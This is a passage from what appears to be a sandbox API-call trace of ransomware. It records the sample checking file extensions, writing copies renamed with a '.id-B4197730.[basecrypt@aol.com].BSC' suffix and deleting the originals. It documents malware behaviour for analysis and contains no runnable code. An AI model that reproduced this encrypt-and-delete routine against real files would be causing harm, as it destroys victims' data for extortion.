returned 4 [0111.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.603] lstrlenW (lpString=".xls") returned 4 [0111.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.603] lstrlenW (lpString=".xlsx") returned 5 [0111.603] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0111.603] lstrlenW (lpString=".ppt") returned 4 [0111.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.603] lstrlenW (lpString=".zip") returned 4 [0111.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.603] lstrlenW (lpString=".rar") returned 4 [0111.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.603] lstrlenW (lpString=".bz2") returned 4 [0111.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString=".7z") returned 3 [0111.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.604] lstrlenW (lpString=".dbf") returned 4 [0111.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.604] lstrlenW (lpString=".1cd") returned 4 [0111.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.604] lstrlenW (lpString=".jpg") returned 4 [0111.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.604] lstrlenW (lpString=".doc") returned 4 [0111.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString=".docx") returned 5 [0111.604] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0111.604] lstrlenW (lpString=".pdf") returned 4 [0111.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString=".xls") returned 4 [0111.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.604] lstrlenW (lpString=".xlsx") returned 5 [0111.604] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0111.604] lstrlenW (lpString=".ppt") returned 4 [0111.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.605] lstrlenW (lpString=".zip") returned 4 [0111.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.605] lstrlenW (lpString=".rar") returned 4 [0111.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.605] lstrlenW (lpString=".bz2") returned 4 [0111.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.605] lstrlenW (lpString=".7z") returned 3 [0111.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.605] lstrlenW (lpString=".dbf") returned 4 [0111.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.605] lstrlenW (lpString=".1cd") returned 4 [0111.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0111.605] lstrlenW (lpString=".jpg") returned 4 [0111.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.605] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.605] lstrlenW (lpString="osknumpad.xml") returned 13 [0111.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.615] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=219) returned 1 [0111.615] CloseHandle (hObject=0x2f4) returned 1 [0111.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0111.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.616] lstrlenW (lpString=".doc") returned 4 [0111.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.616] lstrlenW (lpString=".docx") returned 5 [0111.616] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0111.616] lstrlenW (lpString=".pdf") returned 4 [0111.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.616] lstrlenW (lpString=".xls") returned 4 [0111.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.616] lstrlenW (lpString=".xlsx") returned 5 [0111.616] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0111.616] lstrlenW (lpString=".ppt") returned 4 [0111.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.616] lstrlenW (lpString=".zip") returned 4 [0111.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.616] lstrlenW (lpString=".rar") returned 4 [0111.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.616] lstrlenW (lpString=".bz2") returned 4 [0111.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString=".7z") returned 3 [0111.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.617] lstrlenW (lpString=".dbf") returned 4 [0111.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.617] lstrlenW (lpString=".1cd") returned 4 [0111.617] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.617] lstrlenW (lpString=".jpg") returned 4 [0111.617] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.617] lstrlenW (lpString=".doc") returned 4 [0111.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString=".docx") returned 5 [0111.617] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0111.617] lstrlenW (lpString=".pdf") returned 4 [0111.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString=".xls") returned 4 [0111.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.617] lstrlenW (lpString=".xlsx") returned 5 [0111.617] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0111.617] lstrlenW (lpString=".ppt") returned 4 [0111.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.618] lstrlenW (lpString=".zip") returned 4 [0111.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.618] lstrlenW (lpString=".rar") returned 4 [0111.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.618] lstrlenW (lpString=".bz2") returned 4 [0111.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.618] lstrlenW (lpString=".7z") returned 3 [0111.618] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.618] lstrlenW (lpString=".dbf") returned 4 [0111.618] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.618] lstrlenW (lpString=".1cd") returned 4 [0111.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0111.618] lstrlenW (lpString=".jpg") returned 4 [0111.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.618] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.618] lstrlenW (lpString="ea-sym.xml") returned 10 [0111.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.619] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=694) returned 1 [0111.619] CloseHandle (hObject=0x2f4) returned 1 [0111.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0111.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0111.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0111.619] lstrlenW (lpString=".doc") returned 4 [0111.619] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.619] lstrlenW (lpString=".docx") returned 5 [0111.620] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0111.620] lstrlenW (lpString=".pdf") returned 4 [0111.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.620] lstrlenW (lpString=".xls") returned 4 [0111.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.620] lstrlenW (lpString=".xlsx") returned 5 [0111.620] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0111.620] lstrlenW (lpString=".ppt") returned 4 [0111.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0111.620] lstrlenW (lpString=".zip") returned 4 [0111.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.620] lstrlenW (lpString=".rar") returned 4 [0111.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.620] lstrlenW (lpString=".bz2") returned 4 [0111.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.620] lstrlenW (lpString=".7z") returned 3 [0111.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0111.620] lstrlenW (lpString=".dbf") returned 4 [0111.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 Thread: id = 17 os_tid = 0xf34 [0099.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c91b18 [0099.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3ca1b20 [0099.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab80 [0099.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d0a0 [0099.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac70 [0099.847] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3f5b020 [0099.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac88 [0099.849] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac88, Size=0x20) returned 0x5fec78 [0099.849] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab98 [0099.849] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab98, Size=0x20) returned 0x5feb88 [0099.850] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.850] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.850] Wow64DisableWow64FsRedirection (in: OldValue=0x353ff50 | out: OldValue=0x353ff50*=0x0) returned 1 [0099.850] lstrlenW (lpString="kernel32.dll") returned 12 [0099.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.850] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.850] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.850] Sleep (dwMilliseconds=0x64) [0099.997] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.432] lstrcmpiW (lpString1=".log", lpString2=".BSC") returned 1 [0100.432] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0100.432] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0100.522] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=42674) returned 1 [0100.522] CloseHandle (hObject=0x2e8) returned 1 [0100.522] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0100.522] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0100.522] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0100.522] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.522] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.523] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0100.523] GetLastError () returned 0x0 [0100.523] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0100.539] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.539] WriteFile (in: hFile=0x2ec, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x11e, lpOverlapped=0x0) returned 1 [0100.540] SetEndOfFile (hFile=0x2ec) returned 1 [0100.540] CloseHandle (hObject=0x2ec) returned 1 [0100.541] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.541] SetEndOfFile (hFile=0x2e8) returned 1 [0100.542] CloseHandle (hObject=0x2e8) returned 1 [0100.543] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0100.543] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0100.543] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.543] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.543] lstrlenW (lpString=".doc") returned 4 [0100.543] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.543] lstrlenW (lpString=".docx") returned 5 [0100.543] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0100.543] lstrlenW (lpString=".pdf") returned 4 [0100.543] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0100.544] lstrlenW (lpString=".xls") returned 4 [0100.544] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0100.544] lstrlenW (lpString=".xlsx") returned 5 [0100.544] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0100.544] lstrlenW (lpString=".ppt") returned 4 [0100.544] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0100.544] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.544] lstrlenW (lpString=".zip") returned 4 [0100.544] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0100.544] lstrlenW (lpString=".rar") returned 4 [0100.544] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0100.544] lstrlenW (lpString=".bz2") returned 4 [0100.544] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.544] lstrlenW (lpString=".7z") returned 3 [0100.544] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.544] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.544] lstrlenW (lpString=".dbf") returned 4 [0100.544] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.544] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.544] lstrlenW (lpString=".1cd") returned 4 [0100.544] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.544] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.544] lstrlenW (lpString=".jpg") returned 4 [0100.544] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.545] lstrlenW (lpString=".doc") returned 4 [0100.545] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.545] lstrlenW (lpString=".docx") returned 5 [0100.545] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0100.545] lstrlenW (lpString=".pdf") returned 4 [0100.545] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0100.545] lstrlenW (lpString=".xls") returned 4 [0100.545] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0100.545] lstrlenW (lpString=".xlsx") returned 5 [0100.545] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0100.545] lstrlenW (lpString=".ppt") returned 4 [0100.545] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0100.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.545] lstrlenW (lpString=".zip") returned 4 [0100.545] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0100.545] lstrlenW (lpString=".rar") returned 4 [0100.545] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0100.545] lstrlenW (lpString=".bz2") returned 4 [0100.545] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.545] lstrlenW (lpString=".7z") returned 3 [0100.545] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.545] lstrlenW (lpString=".dbf") returned 4 [0100.545] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.546] lstrlenW (lpString=".1cd") returned 4 [0100.546] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0100.546] lstrlenW (lpString=".jpg") returned 4 [0100.546] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.546] Sleep (dwMilliseconds=0x64) [0100.802] lstrcmpiW (lpString1=".ini", lpString2=".BSC") returned 1 [0100.802] lstrlenW (lpString="desktop.ini") returned 11 [0100.802] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0100.802] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=129) returned 1 [0100.802] CloseHandle (hObject=0x30c) returned 1 [0100.802] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0100.802] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0100.802] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0100.802] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.802] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x353fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.803] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0100.803] GetLastError () returned 0x0 [0100.803] ReadFile (in: hFile=0x30c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x81, lpOverlapped=0x0) returned 1 [0100.804] WriteFile (in: hFile=0x310, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x353fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x353fc94*=0x90, lpOverlapped=0x0) returned 1 [0100.805] ReadFile (in: hFile=0x30c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x353fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x353fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.805] 